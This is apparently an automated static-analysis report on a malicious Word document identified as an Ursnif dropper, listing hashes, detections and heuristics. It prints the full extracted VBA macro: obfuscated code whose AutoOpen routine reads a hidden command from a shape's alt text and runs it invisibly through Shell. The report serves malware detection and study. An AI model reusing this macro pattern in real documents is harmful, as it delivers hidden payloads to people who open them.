Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 8e9afcb57e384d9c…

MALICIOUS

Office (OLE)

68.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 87dee0c4bdcc0135e92c5904857b526b SHA-1: 6c5643e3b196d2a86c2f10e138f61e57a4a21156 SHA-256: 8e9afcb57e384d9ca9654779a5c98e743653eb0cdedca8696b3fd8c466d29dbb
182 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a malicious Office document by ClamAV, specifically as a dropper for Ursnif. High-severity heuristics indicate the presence of an AutoOpen VBA macro that uses the Shell execution token. The macro's AutoOpen subroutine attempts to execute a command using the Shell function, likely to download and run a second-stage payload. This behavior is characteristic of Ursnif banking trojans.

Heuristics 6

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1437 bytes
SHA-256: 51e737427e9a6588f7030268e96312f31f51d0002b8b95af7d01395c1ee6b520
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "gtahemu"
Function ZbBKoAyZ()





Dim iGQqIVUf As Integer
Dim RtUnUiwL As Long
iGQqIVUf = 2170# - 9940#
Dim vwirizevejo As Variant
vwirizevejo = iGQqIVUf - 8496#



Dim bpuzohu As Integer
Dim bqunad As Long
bpuzohu = 5724# - 4656#
Dim QDFzM As Variant
QDFzM = bpuzohu - 5687#

Set ZbBKoAyZ = ActiveDocument.Shapes(2)

Dim URKlRKLr As Integer
Dim EialCQ As Long
URKlRKLr = 1320# - 1676#
Dim pkGWbJta As Variant
pkGWbJta = URKlRKLr - 4792#



End Function
Sub AutoOpen()



Dim bvupo As Integer
Dim sjozuhyneco As Long
bvupo = 9860# - 4641#
Dim UBiOBwS As Variant
UBiOBwS = bvupo - 3578#

Dim WoJFjb As Integer
Dim pRClKW As Long
WoJFjb = 6788# - 1035#
Dim fpVWM As Variant
fpVWM = WoJFjb - 4858#

Set xvabamisudy = ZbBKoAyZ

sknZEc = ZbBKoAyZ.AlternativeText



Dim IamIegTL As Integer
Dim tnutylijo As Long
IamIegTL = 3118# - 3583#
Dim dkadawi As Variant
dkadawi = IamIegTL - 9022#

Interaction.Shell@ _
sknZEc, vbHide



Dim EQXMi As Integer
Dim QPrybRA As Long
EQXMi = 5140# - 8216#
Dim zxobekicaw As Variant
zxobekicaw = EQXMi - 5812#





End Sub